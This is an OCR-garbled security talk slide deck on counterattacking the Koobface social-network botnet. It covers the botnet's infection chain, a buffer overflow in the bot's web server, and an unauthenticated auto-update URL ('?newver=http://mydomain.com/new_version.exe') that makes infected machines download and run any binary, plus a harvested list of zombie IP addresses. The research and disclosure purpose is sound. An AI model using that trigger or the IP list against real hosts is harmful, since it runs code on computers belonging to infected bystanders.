Owning the koobface botnet



INntro

« web 2.0 botnet

» spreads through social networks
— facebook
— myspace
— twitter, etc.
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Related Videos

Video Responses: 10 Text Comments: 70

babachat (4 hours ago)
Funniest thing EVER!!

csmith1189 (6 hours ago)
WooHoo!! Love this vid!!! Congrats on the front page!!!! :-)

sinmike1 (7 hours ago)

Waiting for 76.78.140.31... l— ® 0 ekl , )

& 5



‘3 Video | Facebook - Microsoft Internet Explorer

File Edit View Favorites Tools Help

« 5 bB®

/ ‘Search - Favorites 6_3;‘;|

Address [  http: /=17 <52

@ Flash Player upgrade required
You must download and install the latest version of the Adobe Flash
Player to view this content.

Hong Kong
by Bruno Carlot
0:58

Latest Videos See All Videos

+ Upload

Welcome to Video

Share your personal videos.

‘ Qdéad ; new w&éo
Record and send video messages.
Récord a video me;ssagé -

Publish videos from your mobile.
d mobile videos via email or MMS to your personal

upload address

Recently Tagged Friends

None of your friends are tagged... yet.
Upload a video of a friend

® Record

Create an Ad

Free membership offer

Join Connect by Hertz and

year’s free

hip, for a limited time
, drive today

95 per hour,

Build your
credit now =&

Capital One Classic

Best card to rebuild
your credit rating

34.9% APR

Typical (Variable)

o

N EL

[ =] Opening page http: /171" ¥4 diy0x3e8/setup.exe...

[ [T [ [ mtemet




A Video My videos

@ Flash Player upgrade required

You must download and install the latest version of
Player to view this content.

Latest Videos

0:58

’E’] Flash Player upgrade required

Videos of Me

Hong Kong

by Bruno

About

Download Flash

Do you want to run or save this file?

Name: setup.exe
Type:

Application, 36.0 KB
From: 140 1 a4

Run

While files from the Internet can be useful, this file type can
potentially harm your computer. If you do not trust the source, do

not run or save this software, What's the risk?

Recently Tagged Friends

None of your friends are tagged... yet.

Upload a video of a friend

N A

Create

o

Free membership offer

Hertz

Join Connect by Hertz and
enjoy a year’s free
membership, for a limited time
only, book, drive today
from just £3.95 per hour.,

Build your
credit now

Capital One Classic

Best card to rebuild
your credit rating

[ [ [ [ [ | mtenet

&
N
Favorites 67 = ‘i“
[?facebook Links >
-~

KN




koobface loader

Social network (Facebook, Myspace, Twitter,
etc.) spreader

Personal information and credentials stealer
Google accounts creator

Facebook auto-registration module

Search hijacker

Fake AV module

Web server component



web server component

* makes every koobface zombie a web
server

— serves the fake YouTube/Facebook pages
— serves the koobface loader



social networks

1. User visits social network, clicks
on a koobface-spammed URL

koobface sites

2. User visits the koobface-spammed
URL, which is actually a compromised
site.

3. User redirected to a
koobface zombie

~—

user
4. The web server component serves koobface zombie running
“setup.exe” — the koobface loader web server component



what about it?

* installed on all koobface zombies as a
system service (webserver service)

» adds exemption in Windows Firewall for
TCP port 80 (HTTP)

* reachable from the Internet



which means...

* further exposes koobface zombies to
attacks from the Internet

» exposes the koobface botnet itself to
attacks from the internet



what kind of attack?

» security holes in the web server
component

— buffer overflow
— auto-update



lea
push
lea
push
lea
push
push
call
add

cmp

buffer overflow

eax, [ebp+NumberOfByteslritten]
eax

eax, [ebp+var 78]

eax

eax, [ebp+Src]

offset asSsS @ s "'%s%s"

eax = SK'C

ds:sscanf
esp, 16h
eax, 2
loc_402286



very long string in HT TP request
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control of eip

OllyDbg - webserver.exe - [CPU - thread 000004EC __J_]l]
[c] ew Plugins Options Ww Help ] ' A;[ﬁ
Sl x| wju| e ¥4 2 =+ vfE[M|T|w/H|c|/|K|B|R|..|5] |2

—4 Registers (FPU) < <

EaAX 00000000
ECX 42424242
EDX 7CS8032BC ntdll.7CS032BC
EBX 00000000
ESP 00SFB4BO
EBP 00SFB4DO
ESI 00000000
EDI 00000000

v [ EIP [42424242

C 0 ES 0023 32bit O (FFFFFFFF)

Address |Hex dump Co032a8| .=
O09FFFA4 (|41 41 41 41|41 41 41 41429424249 FF FF FF 009FB598
0O09FFFB4|43 43 43 43[43 43 43 43|43 43 43 43|43 43 43 43|CCCCCCCCCCCCCCCC 009FB4B8| OO9SFFFAS
O09FFFC4|43 43 43 43|43 43 43 43|43 43 43 43|43 43 43 43| CCCCCCCCCCCCCCCC 009FB4BC| 009FBSB4
009FFFD4|43 43 43 43|43 43 43 43|43 43 43 43|43 43 43 00[cccccccceccccccc. 009FB4CO| 009FBS6C

009FFFE4|30 B7 80 7C|(00 00 00 00|00 00 00 00|00 00 00 00[0-€|.cueueucnnn. 009FBace| oosrrras| ol
009FFFF4|BB 1C 40 00(40 3E 33 00|00 00 00 00 »0@.@>3..... 009FB4C8| 7C9032BC
009FB4CC| O09FFFAS
009FB4D0 | FO09FB580
009FB4D4 (| 7Cc903272

‘=l 009FB4ps || 009FB598| [+

|Access violation when executing [42424242] - use Shift+F7/F8/F9 to pass exception to program | | Paused




auto-update

e can be used to remotely update the
koobface web server binary

* triggered by the following web request

http://1p_address_of_zombie/?newver=http://
mydomain.com/new_version.exe



how It auto-updates

* when triggered
— download the new web server binary

— drop and execute a batch file
* stop the webserver service

* replace the existing web server binary
 restart the webserver service



exploiting auto-update

» koobface blindly downloads “updated”
binaries

* trigger auto-update to download arbitrary
binaries

* new binary should cooperate nicely with
the NT Service Controller



where are the targets?



revisiting the infection chain

social networks

1. User visits social network, clicks
on a koobface-spammed URL

2. User visits the koobface-spammed
URL, which is actually a compromised
site.

3. User redirected to a
koobface zombie

\

user
4. The web server component serves koobface zombie running
“setup.exe” — the koobface loader web server component



koobface sites

?) Source of: http://s220405294.onlinehome.us /377 /?go&ms9254 - Mozill... [5 [=] 7
File Edit View Help

<script>

// KROTEG

var bwhyx5 = [
['facebook.com', 'fe2'],

['tagged.com’, 'tg'l,
["friendster.com','fx'],
['myspace.com’', 'ms'],
['msplinks.com', 'ms'],
["lnk.ms', 'ms'],

[ 'myyearbook.com’,'vb'],
["fubar.com’', 'fu'],
["twitter.com', 'tw'],
["hi5.com’', 'hi5'],
['bebo.com’', 'be']

).:.;..........................
var eldcwonhkptgrul =
'76.78." + '140.72°',
'88.' + '168.167.135°',

L]

'76.113" + '.49.861°',

(]
o
°
°
°
()
()
°
()
'74.79." + '128.243°', :
'70" + '.142.15.164" :
'6é7." + '182.76.118" °
°
'99.,20" + '.116.186°', :
'é' + '5.60.143.12°', :
'24.' + "125.1%93.28", :
'83."' + '49.211.4°', :
'208.35" + '.24.20°', :
'75.81." + '189.14°', °
[ )
'66.30." + '178.159°', :
'7' + '0.119.15.248"', :
L]
o




koobface zombies

» create simple scripts to harvest all of the
|P addresses

e 79,000+ zombies



zombie dlstrlbutlon

PH (o 4%) 1 1 IP (0.4%)
KR (0.4%) - T IE (0.4%)
EG (0.4%) NL (0.3%)
TR (0.6%) ID (0.3%)
PT (0.6%) S SI(0.3%)

PK (0.6%)

BE (0.6%)

AR (0.7%) —

TW (0.8%) ~#

BR (0.8%)
DK (0.8%) -
MY (0.9%) -
BA (0.9%) -
10 (0.9%)
CL (0.9%)
RU (1.1%)
IN (1.2%) -
HK (1.4%)
PL (1.5%)
RO (1.5%) -
CA (1.7%)
SE (1.7%)
MA (1.7%) -
AU (1.8%)

FR (2.4%)

DE (3.1%) -

GB (3.5%) '\ -

ES (3.6%) *

IT (3.9%) -

UA (0.3%)
- HU (0.3%)
\_ HR (0.3%)
MK (0.3%)
~ CN (0.3%)
\ - PR (0.3%)
Others (5.1%)

US (42.1%)

IL (9.0%)



checklist

v'web server vulnerabilities
v’ exploits
v list of targets

take over?



questions?



